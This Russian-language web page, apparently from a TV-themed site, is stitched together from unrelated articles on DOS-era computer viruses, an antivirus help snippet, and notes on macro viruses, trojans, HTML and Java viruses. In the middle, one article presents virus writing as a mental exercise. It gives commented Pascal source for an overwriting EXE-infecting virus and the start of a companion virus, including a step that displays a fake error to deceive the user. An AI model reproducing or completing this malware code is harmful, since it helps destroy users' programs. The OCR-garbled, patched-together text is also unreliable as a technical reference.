Сайт о телевидении

Сайт о телевидении

» » Действия над зараженным файлом. Чем опасны макровирусы и как защитить свой компьютер. Если необходимо, сделайте загрузочный диск

Действия над зараженным файлом. Чем опасны макровирусы и как защитить свой компьютер. Если необходимо, сделайте загрузочный диск

Формально компьютерным вирусом называеся программа, которая может заражать другие программы путем включения в них своей, возможно модифицированной, копии, причем последняя сохраняет способность к дальнейшему размножению. Помимо заражения, вирус, подобно любой другой программе, может выполнять и другие несанкционированные действия, от вполне безобидных до крайне разрушительных.Выполняемые вирусом несанкционированые действия могут быть обусловлены наступлением определенной даты, или определенным количеством размножений, например записью зараженой программы на винчестер.При этом комбинация этих условий может быть достаточно сложной, чтобы затруднить ее определение.

Инфицируя программы, вирусы могут распространяться от одной программы к другой, что делает их более опасным по сравнению с другими методами компьютерного вандализма.Зараженные прог­раммы могут передаватрся через дискеты или по сети на другие ЭВМ. В связи с широко распространенной практикой обмена и передачи программ на дискетах среди пользователей ПЭВМ коичество зараженных программ может быть значительным, при - водя к своего рода эпидемиям.

ПРОЦЕСС ЗАРАЖЕHИЯ

Упрощенно процесс заражения вирусом программных файлов можно представить следующим образом.Код зараженной программы обыч­но вирус получил управление первым,до начала работы програм­мы - вирусоносителя.

При передаче управления вирусу он каким-то способом находит новую программу и выполняет вставку собственной копии в начало или добавляет ее в конец этой обычно еще не зараженой программы. Если вирус дописывается в конец программы, то он то он корректирует код программы, чтобы получить управление первым.Для этого первые несколько байтов запоминаются в теле вируса, а на их место вставляется команда перечода на начало вируса. Этот способ является наиболее распространенным. По - лучив управление, вирус восстанавливает "спрятанные" первые байты, а после обработки своего тела передает управление программе - вирусоносителю и та нормально выполняет свои функции. Возможны случаи, когда вирус включает себя куда-то в середину программы, например в область стека. Последние случаи встречаются редко.

СТРУКТУРА КОМПЬЮТЕРHОГО ВИРУСА

Hаиболее распространенными типам компьтерных вирусов в MS DOS являются файловые нерезидентные,файловые резидентные и бутовые вирусы.Разбор анатомии компьютерных вируов начнем с анализа структуры нерезидентного файлового вируса как прос - тейшей разновидности этого класса системных программ.

Структрно компьютерный вирус можно представить состоящим из двух частей:головы и хвоста.Головой называется часть вируса, которая первой получает управление.Хвост вируса - это части вируса, расположенные отдельно от головы.В простейшем случае вирус может состоять из одной головы, и действительно файл - овые вирусы обычно так и устроены. Такие вирусы будем назы - вать несегментированными. В отличие от них сегментированные вирусы имеют распологающийся отдельно хвост и в какой - то мере аналогичны оверлейным программам. Примером сегментиро - ванных вирусов являются бутовые вирусы,хотя возможна реали - зация сегментированных файловых вирусов.

СТРУКТУРА ФАЙЛОВОГО HЕРИЗЕДЕHТHОГО ВИРУСА

Файловые вирусы являются наиболее распространенной разно - видностью компьтерных вирусов. Принципиально они заражают любой вид исполняемых файлов, существующих в MS DOS:com,exe, ovl и т.д. Однако основными объектами заражения являются соm и ехе - файлы. Hаиболее просто осуществляется заражение соm файлов, которые представляют собой почти точную копию участ­ка памяти с загруженной программы. Единственая требуемая настройка при загрузке com - файлов состоит в загрузке сег - ментных регистров значениями, соответствующими месту загруз­ки программы. Значительная часть com - файлов начинается с команды перехода, обходящей содержащиеся в начале программ данные.

При заражении com - файлов вирус запоминает в своем теле первые три (или больше) байта программы и вместо них записы­вает переход на начало собственного кода.Так поступает боль­шинство файловых вирусов, заражающих com - файлы, но не все. Дело в том, что при дописывании тела вируса в конец заражаемого файла весь код вируса должен быть написан спецальным образом, обычно называемым позиционно-независмым программированием:при выполнении программы все ссылки должны адресоваться через смещения, которое обычно хранится в одном из регистров.

Hекоторые вирусы используют более примитивный подход: вместо дописывания своего тела в конец зарожаемого com - файла они перемещают туда первые несколько блоков программы, а сами записываются на место освободившихся блоков. В этом случае только программа восстановления исходного состаяния програмы должна быть позиционно-независимой или размещаться где-то в фиксированных адресах памяти, используя какой-то неиспользу­емый ее участок.

Вставка тела вируса при заражении может выполнятся не только в хвост файла. Встречаются случаи имплантации в начало или середину файла.

Вставка в начало файла. В этом случае первые блоки (или все тело) заражаемой программы обычно переписываются в конец, поэтому до передачи управления зараженной программе вирус должен предварительно переписать эти блоки на первоначальное место, заменив ими собственный код.С этой целью вирус должен переместить свое тело или хотя бы соответствующую часть сво­его кода таким образом, чтобы она не была затерта в процессе операции перезаписи. Hекоторые примитивные вирусы, записыва­ясь в начало заражаемого файла,не сохраняют его содержимого. При этом естественно, зараженный файл уничтожается, а вирус, должен как-то замаскировать тот факт,что вызываемая програм­ма является неработоспособной. Для этой цели иногда исполь - зуется какое-нибудь подходящее сообщение об ошибке.

Вствка в конец файла. Это наиболее распрастраненный сучай. При этом необходимо обеспечить передачу управления коду вируса до начала работы зараженной программы. Для файлов типа com чаще всего это реализуется заменой нескольких пер - вых байтов программы (обычно трех на команду перехода). При этом сами заменяемые байты обязательно должны быть сох - ранены где-то в теле вируса, что обеспечивает возможность их востановления. Когда инсталятор вируса получает управление, то обычно в начале своей работы он восстанавливает измененые вирусом байты в первоначальном виде.

Вставка в середину файла. Этот способ заражения встречается редко. Во-первых, этот способ используется вирусами поражаю­щими особый класс программ, особенности структуры которого заранее известны,например только файл command.com.Во-вторых, и это наиболее частый случай, вставка в середину возможна путем перебрасывания замещаемых блоков в конец файла.В част­ном случае, когда заражаемый файл содержит область нолей или или других повторяющихся байт достаточного размера, вставка в середину происходит без увеличения длины программы, что затрудняет обнаружение зараженных файлов. Вставка в середину может произойти и случайно. Hапример это происходит для обычных вирусов, цепляющихся к концу exe-файла, если в зага­ловке неправильно указана его длина т.е. часть используемая в качестве буфера или неявного оверлея. В этом случае вирус считает, что файл имеет длину, указанную в заголовке,и запи­сывает свой код в область буфера или оверлея. При этом он оказывается в середине действительно занимаемого данной программой файла.И наконец,файл может быть заражен несколь­кими вирусами, однотипно заражающими файл (обычно дописы­вающими свой код в конец файла). В этом случае вирус, пер­вым заразившим данный файл, оттесняется к середине файла последующими вирусами. Являясь сравнительно редкими, указан­ные случаи довольно часто неучитываются создателями антиви­русных программ, в частности детекторов и фагов, которое, увлекаясь оптимизацией времени выполнения своих программ, принимают " слишком сильные " допущения о расположении кода вируса в теле зараженной программы. В результате файл может быть не детектирован как зараженный или вылечен неправильно. Как уже указывалось, при вставке в конец или середину файла вирус должен каким - то образом обеспечить передачу себе управленияю. При этом необязательно изменять именно первые байты программы. Возможно изменение других байтов. Hапример, если программа начинается с команды безусловного перехода, вирус может определять адрес перехода и модифицировать команды, расположенные по этому адресу. Поэтому часто выска­зываемое мнение о том, что для нейтрализации вируса в зара - женном файле достаточно восстановить его первые байты, следует признать неверным.

СТРУКТУРА ФАЙЛОВОГО РЕЗИДЕHТHОГО ВИРУСА

Файловые резидентные вирусы, помимо отдельных файлов, зара - жают, если так можно выразится, и память компьютера. Преде - льно упрощая, память компьютера можно рассматривать как еще один файл, который можно заражать, дописываясь " в голову ", т.е. в область младших адресов свободного участка памяти, " в хвост ", т.е. в область старших адресов свободного уча - стка памяти, и, наконец, " в середину ", т.е. в область адресов уже используемых операционной системой или какой­нибудь программой.

Вместе с тем структура резидентного вируса существенно отли­чается от структуры нерезедентного вируса.Резидентный вирус можно представлять как состоящий из двух относительно неза - висимых частей: инсталятора и модуля обработки прерываний. Последний,в свою очередь,состоит из ряда программ обработки. Hесколько упрощая, можно считать, что на каждое перехваты - ваемое прерывание приходится своя программа обработки.

Инсталятор получает управление при выполнении зараженной программы и играет роль своеобразной ракеты-носителя, запус­кающий вирус на орбиту, т.е. в оперативную память.Он отраба­тывает один раз - после запуска зараженной программы,и его целесообразно рассматривать как спецыализированный файловый вирус заражающий оперативную память

По умолчанию функция автоматической защиты постоянно работает на компьютере. На компьютерах с неуправляемыми клиентами при запуске системы выполняется автоматически созданное активное сканирование. На компьютерах с управляемыми клиентами администратор обычно настраивает запуск полного сканирования не реже, чем раз в неделю. Функция автоматической защиты показывает окно результатов при обнаружении угрозы. В процессе выполнения сканирования на экране показано окно с его результатами. На управляемых клиентах администратор может выключить эти типы уведомлений.

Как обработать зараженный файл

    Выполните одно из следующих действий:

    • В окне диалога с информацией о состоянии сканирования выберите нужные файлы после завершения сканирования.

      В окне результатов сканирования выберите необходимые файлы.

      На боковой панели клиента выберите Показать журналы , а затем нажмите Показать журналы рядом с функцией защиты от вирусов и программ-шпионов. В окне журнала выберите необходимые файлы.

    Щелкните правой кнопкой на выбранных файлах и выберите один из следующих пунктов. Обратите внимание: клиенту не всегда удается выполнить выбранное действие.

В этой статье рассказано о вирусах , заражающих ЕХЕ-файлы . Приведена классификация таких вирусов , подробно рассмотрены алгоритмы их работы, отличия между ними достоинства и недостатки.

Вирусы - это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.

Для каждого типа вирусов представлены исходные тексты с подробными комментариями.Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы .

СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами ЕХЕ- «монстры». Появились и вирусы, умеющие заражать ЕХЕ-файлы .

Структура и процесс загрузки ЕХЕ-программы

В отличие от СОМ-программ , ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла , и таблицы для настройки адресов (Relocation Table ). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске ЕХЕ-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти,размер

которого достаточен для размещения программы.

2.Создается и заполняется блок памяти для переменных среды.

3.Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;

сегмент+ООЮЬЮОООЬ - программа).

В поля PSP заносятся соответствующие значения.

4.Адрес DTA устанавливается равным PSP:0080h.

5.В рабочую область загрузчика считывается форматированная часть

заголовка ЕХЕ-файла .

6.Вычисляется длина загрузочного модуля по формуле:

Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.

7.Определяется смещение загрузочного модуля в файле, равное

8.Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.

9.Считывается в память загрузочный модуль (начиная с адреса

START_SEG:0000).

10.Для каждого входа таблицы настройки:

a)читаются слова I_OFF и I_SEG;

b)вычисляется RELC^SEG-START^SEG+LSEG;

c)читается слово по адресу RELO_SEG:I_OFF;

d)к прочитанному слову прибавляется START_SEG;

e)результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11.Распределяется память для программы в соответствии с МахМет

12.Инициализируются регистры, выполняется программа:

b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;

c)SS°START_SEG+ReloSS, SP-ExeSP;

d)CS=START_SEG+ReloCS, IP=ExeIP.

Классификация ЕХЕ-вирусов

ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы Overwrite ) Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения:

к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл , но с расширением СОМ . Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ . Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла . Если не найден и ЕХЕ-файл , DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH . Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус ,код которого находится в СОМ-файле . Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа.

Вирус-спутник обезвредить довольно просто - достаточно удалить

СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого

ЕХЕ-файла остается прежним, а расширение заменяется каким-либо

другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ ), Например,

файл может получить расширение DAT (файл данных) или OVL (про-

граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле . Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ , поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов , зараженных вирусом этого типа, может быть затруднено,если вирус -спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.

Вирусы , внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл .

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса , а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус . Похоже на заражение СОМ-файлов , но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Следующий способ - внедрение вируса в начало файла со сдвигом кода

программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код , а после него - код инфицируемой программ ы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа - «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов - метод переноса - по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало,по длине равное телу вируса . На это место записывается тело вируса .Начало программы из памяти дописывается в конец файла. Отсюда название метода - «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы,из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы , которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Вирусы , замещающие программный код (Overwrite ) Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы , созданные на языке Assembler , но это, скорее, соревнование в написании самого маленького overwrite-вируса . На данный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех фай-

лов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», - пусть пользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким способом.

{$М 2048, 0, 0}

{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)}

(Имя вируса}

VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса }

VirLabel: String=’Pain!1;

{Длина получаемого при компиляции ЕХЕ-файла }

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов}

{Массив для определения наличия копии вируса в найденном файле}

Virldentifier: Array of Char;

{Файловая переменная для работы с файлами}

(Еще одна файловая переменная - хотя без нее можно было обойтись, так будет понятнее)

{Для имени найденного файла)

TargetFile: PathStr;

(Буфер для тела вируса )

VirBuf: Array [-I.VirLen] of Char;

(Для даты/времени файла)

(Счетчик количества инфицированных файлов)

Dirlnfo: SearchRec;

LabelBuf: Array of Char;

(Инициализация)

LabelBuf :=VirLabel;

LabelBuf:=VirLabel;

LabelBuf:=VirLabel,

LabelBuf:=VirLabel;

LabelBuf:=VirLabel;

(Обнуляем счетчик количества инфицированных файлов }

(Связываем файловую переменную VirBody с именем программы из которой стартовали)

Assign(VirBody, ParamStr(O));

(Открываем файл с recsize=1 байту)

Reset(VirBody, 1);

(Считываем из файла тело вируса в массив VirBuf}

BlockRead(VirBody VirBuf, VirLen);

(Закрываем файл)

(Поиск жертвы}

procedure FindTarget;

(Функция возвращает True, если найденная программа уже заражена, и False, если еще нет}

function VirusPresent: Boolean;

VirusPresent:=False;

(Открываем найденный файл}

Assign(Target, TargetFile);

Reset(Target, 1);

(Перемещаемся на длину тела вируса от начала файла}

Seek(Target, VirLen);

(Считываем 5 байт - если файл уже заражен,там находится метка вируса }

BlockRead(Target, Virldentifier, 5);

If Virldentifier=Virl_abel Then

{Если метка есть, значит есть и вирус }

VirusPresent:=True;

(Процедура заражения}

procedure InfectFile;

{Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры}

If Sr.Size < VirLen+100 Then Exit;

Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут станавливается на файл после сохранения в любом случае}

{Открываем для заражения}

Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}

BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции а длину вируса от начала файла}

Seek(Target, VirLen);

{Вписываем метку заражения}

BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}

SetFTime(Target, Time);

{Закрываем}

{Увеличиваем счетчик инфицированных файлов }

{Начало процедуры FindTarget}

{Ищем в текущем каталоге файлы по маске *.ЕХЕ

с атрибутами Archive }

FindFirstF.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

If Sr.Name=» Then Exit;

(Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

{Вызываем процедуру заражения}

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

{Основное тело}

(Инициализируемся}

{Ищем жертвы и заражаем их}

{Выдаем на экран сообщение об ошибке}

WriteLn(‘Abnormal program termination.’);

{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экран}

WriteLn(VirName);

WriteLn(Author);

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены - соотношение companion и parasitic вирусов примерно один к двум.Инфицирование методом создания СОМ-файла спутника Смысл этого метода - не трогая «чужого кота» (ЕХЕ-программу ), создать «своего» - СОМ-файл с именем ЕХЕ-программы . Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного ЕХЕ-файла с вирусным кодом , считывания в буфер тела вируса , запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1.Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

2.Найти ЕХЕ-файл -жертву.

3.Проверить, не присутствует ли в каталоге с найденным ЕХЕ-файлом СОМ-файл с таким же именем, как у файла-жертвы.

4.Если такой СОМ-файл присутствует, файл уже заражен, переходим

к пункту 6.

5.С помощью командного процессора скопировать файл, из которого

получено управление, в файл с именем жертвы и расширением СОМ .

6.Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ - то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим

($М 2048, 0, 0}

(Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}

{Имя вируса)

VirName=’Guesf;

Author=’Dirty Nazi/SGWW. 4 PVT only!’;

{Количество зараженных за один сеанс работы файлов}

{Для имени найденного файла)

TargetFile: PathStr;

Компьютерный вирус может испортить, т.е. изменить ненадлежащим образом, любой файл на имеющихся в компьютере дисках. Но некоторые виды файлов вирус может "заразить". Это означает, что вирус может "внедриться" в эти файлы, т.е. изменить их так, что они будут содержать вирус, который при некоторых обстоятельствах может начать свою работу. Следует заметить, что тексты программ и старых версий документов (так сказать DOS-версии), информационные файлы баз данных, таблицы табличных процессоров (DOS-версии) и другие аналогичные файлы не могут быть заражены вирусом, он может их только испортить.

Вирусом могут быть "заражены" следующие виды файлов:

1) Исполнимые файлы

Исполнимые файлы, т.е. файлы с расширениями имени COM и EXE, а также оверлейные файлы, загружаемые при выполнении других программ. Вирусы, заражающие файлы, называются файловыми. Вирус в зараженных исполнимых файлах начинает свою работу при запуске той программы, в которой он находится. Наиболее опасны те файловые вирусы, которые после своего запуска остаются в памяти резидентно. Эти вирусы могут заражать файлы и вредить до следующей перезагрузки компьютера. А если они заразят любую программу, запускаемую из файла AUTOEXEC.BAT или CONFIG.SYS, то и при перезагрузке с жесткого диска вирус снова начнет свою работу.

2) Загрузчик операционной системы и главная загрузочная запись жесткого диска

Вирусы, поражающие эти области, называются загрузочными, или бутовыми. Такой вирус начинает свою работу при начальной загрузке операционной системы и становится резидентным, т.е. постоянно находится в памяти компьютера. Механизм распространения - заражение загрузочных записей вставляемых в компьютер дискет. Как правило, такие вирусы состоят из двух частей, поскольку загрузочные записи имеют небольшой размер и в них трудно разместить целиком программу вируса. Часть вируса, не помещающаяся в них, располагается в другом участке диска, например в конце корневого каталога диска или в кластере в области данных диска (обычно такой кластер объявляется дефектным, чтобы программа вируса не была затерта при записи данных на диск).

3) Драйверы устройств:

Драйверы устройств, т.е. файлы, указываемые в предложении DEVICE файла CONFIG.SYS. Вирус, находящийся в них, начинает свою работу при каждом обращении к соответствующему устройству. Вирусы, заражающие драйверы устройств, очень мало распространены, поскольку драйверы редко переписывают с одного компьютера на другой. То же самое относится и к системным файлам DOS (MSDOS.SYS и IO.SYS) - их заражение также теоретически возможно, но для распространения вирусов малоэффективно.

4) INTERNET-вирусы

В последнее время с увеличение числа пользователей появились. Вот некоторые из разновидностей этих вирусов:

4.1 Вложенные файлы . Рассмотрим типичную ситуацию: вы получили электронное письмо, во вложении к которому находится документ Microsoft WORD. Конечно, вы захотите поскорее познакомиться с содержанием файла, благо при использовании большинства современных почтовых программ для этого достаточно щелкнуть мышкой на имени этого файла.

И ЭТО - ОШИБКА!

Если в файле содержится макрокомадный вирус (а вирусы этого типа, заражающие документы Microsoft WORD, Microsoft EXCEL и ряд других популярных систем документооборота, получили в последнее время огромное распространение), он немедленно заразит вашу систему. Так что же делать с вложенным документом? Потратить несколько лишних секунд: сохранить его на диск, проверить антивирусной программой последней версии и только потом, если вирусов нет, открывать. Есть другие решения. Например, имеются антивирусные программы, осуществляющие автоматическую проверку приходящей электронной почты. Если вы используете программу - сторож, то при открытии зараженного файла обязательно получите предупреждение (точнее, вам просто не дадут открыть зараженный файл). Ведь сторожу совершенно безразлично, напрямую вы открываете документ или "из-под" почтовой программы.

4.2 Троянские программы . Известные троянские программы, распространяющиеся через Интернет, по существу, представляют собой утилиты для удаленного администрирования компьютера. Проще говоря, посредством такой программы злоумышленник может получить доступ к вашему компьютеру и выполнить на нем различные операции (практически любые) без вашего ведома и участия.

Характерным представителем описанного типа является программа BASK ORIFICE (BO). BO является системой удаленного администрирования, позволяющей пользователю контролировать компьютеры при помощи обычной консоли или графической оболочки. "В локальной сети или через Интернет ВО предоставляет пользователю больше возможности на удаленном WINDOWS-компьютере, чем имеет сам пользователь этого компьютера", - это текст из "рекламного" объявления на одной их хакерских web-страниц. Разумеется, возможность удаленного администрирования вашего компьютера представляет серьезную опасность, но не такую большую, как кажется на первый взгляд. Обычные пользователи проводят в Сети не так много времени (качество телефонных линий этому способствует), да и что такого "интересного" с точки зрения хакера, можно сделать на вашем компьютере? Оказывается, можно, только администрировать ничего не надо. Существенный интерес для хакера представляют пароли, которые вы используете для работы с сервером провайдера. Заполучив пароль, хакер может запросто "просадить" все ваши денежки. К счастью, троянцев, умеющих выполнять указанные функции, довольно мало и все они успешно детектируются антивирусными программами.

4.3 HTML-вирусы. Вирусы данного типа встречаются редко, так что информация о них представляет скорее "академический" интерес, нежели практический. Суть такова: на самом языке HTML, который используется для разметки гипертекстовых документов, никакие вирусы, конечно, написать нельзя. Но для создания динамических страниц, организации взаимодействия с пользователем и прочих действий используются программные вставки (скрипты) в HTML-документы. Известные HTML-вирусы используют скрипты, написанные на языке VISUAL BASIC. С их помощью, находя HTM и HTML-файлы на локальной машине, и записываются в них. Иногда такие вирусы как-нибудь проявляют себя (например, выводят сообщения). Малому распространению вирусов данного типа (равно как и малому их числу) способствует то, что при стандартных настройках браузера выполнение "опасных" (к таковым относятся и те, в которых происходит обращение к файлам локального компьютера) скриптов запрещено. Обычные же, "безопасности", скрипты не могут производить описанные манипуляции.

4.4 Java-вирусы . В настоящее время известны два вируса, написанные на языке JAVA. Опасности они практически не представляют. Кратко поясним, в чем суть: исполняемые модули программ, написанных на JAVA (CLASS-файлы), бывают двух типов: приложения и апплеты. Приложения выполняются под управлением интерпретатора и являются почти обычными программами (почти, ибо имеют все же некоторые ограничения, например, в области работы с памятью). Апплеты, в отличие от приложений, могут выполняться под управлением браузеров, но на них накладываются значительно более серьезные ограничения для обеспечения безопасности: апплеты в частности, не имеют почти никакого доступа к файловой системе компьютера (в отличие от случая со скритами, отключить данное ограничение в браузере невозможно), таким образом, JAVA-вирусы могут быть оформлены только как приложения и для подавляющего большинства пользователей опасности не предоставляют. Как правило, каждая конкретная разновидность вируса может заражать только один или два типа файлов. Чаще всего встречаются вирусы, заражающие исполнимые файлы. Некоторые вирусы заражают только EXE файлы, некоторые - только COM, а большинство - и те и другие. На втором месте по распространенности загрузочные вирусы. Некоторые вирусы заражают и файлы, и загрузочные области дисков. Вирусы, заражающие драйверы устройств, встречаются крайне редко; обычно такие вирусы умеют заражать и исполнимые файлы.

Компьютерный вирус может испортить, т.е. изменить ненадлежащим образом, любой файл на имеющихся в компьютере дисках. Но некоторые виды файлов вирус может "заразить". Это означает, что вирус может "внедриться" в эти файлы, т.е. изменить их так, что они будут содержать вирус, который при некоторых обстоятельствах может начать свою работу.

Следует заметить, что тексты программ и документов, информационные файлы баз данных, таблицы табличных процессоров и другие аналогичные файлы не могут быть заражены обычным вирусом, он может их только испортить. Заражение подобных файлов делается только Макро-вирусами. Эти вирусы могут заразить даже ваши документы.

Обычным вирусом могут быть заражены следующие виды файлов:

Исполняемые файлы, т.е. файлы с расширениями имен.com и.exe, а также оверлейные файлы, загружаемые при выполнении других программ. Наиболее опасны те вирусы, которые после своего запуска остаются в памяти резидентно -- они могут заражать файлы и вредить до следующей перезагрузки компьютера. А если они заразят любую программу, запускаемую из файла AUTOEXEC.BAT или CONFIG.SYS, то и при перезагрузке с жесткого диска вирус снова начнет свою работу.

Загрузчик операционной системы и главная загрузочная запись жесткого диска. Вирусы, поражающие эти области, называются загрузочными или BOOT-вирусами. Такой вирус начинает свою работу при начальной загрузке компьютера и становится резидентным, т.е. постоянно находится в памяти компьютера.

Драйверы устройств, т.е. файлы, указываемые в предложении DEVICE файла CONFIG.SYS. Вирус, находящийся в них начинает свою работу при каждом обращении к соответствующему устройству. Вирусы, заражающие драйверы устройств, очень мало распространены, поскольку драйверы редко переписывают с одного компьютера на другой.

Настолько ли страшны компьютерные вирусы?

· Вирусы запускаются сами по себе

Нет, это не совсем верно. Для активизации вируса требуется запустить ту или иную программу. В операционных системах семейства Windows, независимо от версии, для всех файлов назначена строго определенная программа или действие, выполняемое одним из служебных модулей самой операционной системы. При просмотре того или иного файла автоматически запускается назначенная программа, но для пользователя это происходит как бы незаметно (он ведь просто хочет почитать текст), поэтому для него создается впечатление, что вирус можно запустить самостоятельно, тогда, когда он сам запускает его вместе с программой-просмотрщиком.

· Вирусы позволяют выкрасть ценную информацию

Да, действительно, существует категория компьютерных вирусов, предназначенных для кражи ценной информации. Обычно этим занимаются "троянские кони". Наиболее часто воруют различные пароли, например, доступа к сети Интернет, pin-коды и др., т.е. все то, что может причинить вам материальный ущерб.

